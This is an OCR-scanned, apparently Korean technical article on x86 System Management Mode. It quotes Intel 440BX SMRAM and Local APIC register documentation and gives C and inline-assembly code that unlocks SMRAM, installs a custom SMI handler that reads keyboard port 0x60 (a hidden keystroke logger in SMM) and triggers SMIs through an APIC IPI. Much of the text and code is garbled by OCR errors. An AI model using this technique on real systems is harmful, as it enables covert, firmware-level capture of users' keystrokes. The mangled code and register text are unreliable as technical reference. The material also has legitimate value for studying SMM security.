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The following SMM mechanisms make it transparent to applications programs and
operating systems:

* The only way to enter SMM is by means of an SMI.

* The processor executes SMM code in a separate address space (SMRAM) that can
be made inaccessible from the other operating modes.

* Upon entering SMM, the processor saves the context of the interrupted program
or task.
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SMM is similar to real-address mode in that there are no privilege levels or address
mapping. An SMM program can address up to 4 GBytes of memory and can execute
all I/O and applicable system instructions. See Section 25.5 for more information
about the SMM execution environment.
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SMRAM—System Management RAM Control Register
(Device 0)

Address Offset: 72h
Default Value: 02h
Access: ReadWrite
Size: 8 bits

The SMEAMC register controls how accesses to Compatible and Extended SMEAM spaces are
treated. The Open, Close, and Lock bits function only when G SMEAME bat 1s setto a 1. Also, the
OPEN bit must be reset before the LOCK but 15 set.

Bit Description

T Reserved

SMM Space Open (D_OPEN). When D_COPEMN=1 and D_LCK=0, the SMM space DRAM is made
visible even when SMM decode is not active. This is intended fo help BIOS initialize SMM space.
Software should ensure that D_OPEN=1 and D_CLS=1 are not set at the same time. When

O LCKissettoa 1, D_OPEN is reset to 0 and hecomes read only.

SMM Space Closed (D_CLS). When D_CLS =1 SMM space DRAM is not accessible to data
referances, even if SMM decode is active. Code references may still access SMM space DRAM.
5 This will allow SMM software to reference "through”™ SMM space o update the display even when
SMM is mapped over the VGA range. Software should ensure that D_OPEN=1 and D_CL5=1 are
not st at the same time.

SMM Space Locked (D_LCK). When D_LCK is setto 1 then D_OPEN is resetto 0 and D_LCE,
O _OPEN. H_SMRAM_EN, TSEG_S7, TSEG_EN and DRET hecome read only. D_LCK can be
sef to 1 via a normal configuration space write bhut can only be cleared by a power-on reset. The
4 combination of O_LCK and D_0OPEN provide convenience with security. The BIOS can use the
0 _OPEN function to initialize SMM space and then use D_LCK to "lock down" SMM space in the
future 50 that no application software (or BIOS itself) can violate the integrity of SMM space, even
if the program has knowledge of the D_OPEN function.

Global SMRAM Enable (G_SMRAME). If G_SMRAME is settoa 1 and H_SMREAM_EN is set to
0, then Compatible SMRAM functions are enabled, providing 128 KB of DRAM accessible at the

3 AD000h address while in SMM (ADS# with SMM decode). To enable Extended SMRAM function

this bit has be set to 1. Refer to the section on SMM for more details.

Once D_LCK is set, this hit becomes read only.
Compatible SMM Space Base Segment (C_BASE_SEG) (RO). This field programs the location

of SMM space. "SMM DRAM” is not remapped. It is simply "made visible" if the conditions are
20 right to access SMM space, otherwise the access is forwarded to PCL

010 = Hardwired to 010 to indicate that the 82443BX supports the SMM space at
AD0DOh-BFFFFh.

< Intel(R) 440BX - SMRAM Control Register >
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< ACPI Specification 3.0 - a Legacy/ACPI Compatible Event Model >
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__declspec(naked) void InpSMIHandler(void)

—

__asm

—_

_emit 0x66; // operand-size prefix
XOr eax, eax

in al, Ox60

mov ah, 0x1 // dirty sign
mov word ptr ds:[0x00], ax

_emit OxOF; // rsm
_emit OxAA;
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ULONG InpRawPClIConfigurationRead(PCl_CONFIGURATION_PACKET pciDev, int offset)
{

pciDev |= offset & OxFC;

WRITE_PORT_ULONG((PULONG)OxCF8, pciDev);

return READ_PORT_ULONG((PULONG)OxCFQ);
!

void InpRawPClConfigurationWrite (PCI_CONFIGURATION_PACKET pciDev, int offset, ULONG data)
{

pciDev |= offset & OxFC;

WRITE_PORT_ULONG((PULONG)OxCF8, pciDev);

WRITE_PORT_ULONG((PULONG)OxCFC, data);
!

void InpRawPClConfigurationPacketlnitialization(OUT PPCI_CONFIGURATION_PACKET pDev, int bus,
int device, int function)

{

/*

* from phrack, volume 0xOc, issue 0x41, phile #0x07 of 0xOf
* [System management mode hack] - BSDaemon

*/

*pDev = 0x80000000L | ((bus & OxFF) << 16) |
((((unsigned)device) & O0x1F) << 11) |
((((unsigned)function) & 0x07) << 8);

}

void InpOpenSMRAM (void)
{

/*
* Intel 82443BX Host bridge/controller - VMware chipset
*
* SMRAM - System management RAM Control Register
*
* Address offset : 0x72
* Default value : 0x02
* Access : Read/write
* Size : 8 bits
*/
#define D_OPEN_BIT (0x010000 <K 6)
#define D_CLS_BIT (0x010000 <K 5)
#define D_LCK_BIT (0x010000 <K 4)

#define G_SMRAME_BIT  (0x010000 << 3)
#define C_BASE_SEG2_BIT (0x010000 << 2)

#define C_BASE_SEG1_BIT (0x010000 << 1)

#define C_BASE_SEGO_BIT (0x010000)



PCl_CONFIGURATION_PACKET dev;
ULONG SMRAMControl;

InpRawPClConfigurationPacketinitialization(&dev, 0, 0, 0);

// Open a SMRAM area
InpRawPClIConfigurationRead(dev, 0x70);

SMRAMControl =
SMRAMControl =

(SMRAMControl | G_SMRAME_BIT | D_OPEN_BIT) &

~(D_CLS_BIT);

InpRawPCIConfigurationWrite(dev, 0x70, SMRAMControl); // write

}

void InpCloseSMRAM (void)
{

PCI_CONFIGURATION_PACKET dev;

ULONG SMRAMCo

ntrol;

InpRawPClConfigurationPacketinitialization(&dev, 0, 0, 0);

SMRAMControl
SMRAMControl

~(D_OPEN_BIT);

InpRawPCIConfigurationWrite(dev, 0x70, SMRAMControl);

}

void InstallSMIHandler(void)
{

PCI_CONFIGURATION_PACKET dev;

PUCHAR pSMRAM =

INnoSMRAMConnect
//
memcpy(pSMRAM,
//

NULL; // SMRAM Mapping pointer
ion(&pSMRAM);

(PUCHAR)InpSMIHandler, 0x50);

InpSMRAMDisconnection(&pSMRAM);

InpCloseSMRAMY();
!

InoSMRAMConnection/Disconnection()
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InpRawPClConfigurationRead(dev, 0x70);
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63 FF 53 32

Destination Field Reserved
k) 2019181716 1514 1312 1110 g7 0
Reserved Yectar
Destination Shorthand Delivery Mode
00: Mo Shorthand 000: Fixed
01: Self _ 001: Lowest Priarity
10: All Including Self 010: sMI
11: All Excluding Self 011: Reserved
100: NMI
101: INIT
110: Start Up
|:| Reserved 111: Reserved
Destination Mode
0: Physical
1: Logical
Delivery Status
0: It:ile-r!'Ir
1: Send Pending
Level
Address: FEEO 0300H (0 - 31) 0 =De-assert
FEED 0310H (32 - 63) | = Assert

Yalue after Reset: OH

Trigger Mode
0: Edge
1: Level

NOTE:
1. The ability of a processor to send Lowest Priority IP] is model specific.

< Local APIC 9| Interrupt Command Register >

Local APIC 9| Interrupt Command Register Of 2224, IPI & LEAIZ & JUSULH R2e
#SMI € E£3510f SMM of 2I5H0F 3122, Delivery mode & SMI[010b] 2 AZELCt O]t vector &
2 future compatibility € 21510 0x0022 MZSI0, Level, Trigger mode = Z2A|ELICt Interrupt
Command Register 2| 59| 32H|E0|| 7|S5t= &2t IPI 7F 2P45HA €L CH

Field Value
Vector 0x00
Delivery mode SMI
Delivery status Read only
Reserved
Level Ignored
Trigger mode Ignored
Reserved
Destination shorthand No shorthand

FEE 222 BYLCH 22 Local APIC 2] Memory-mapped 10 &7tS OfY 3 =O0tof §fL|C},



*(PULONG)(LocalAPICGate[0] + 0x0310) = 0x00;
*(PULONG)(LocalAPICGate[0] + 0x0300) 0x200;
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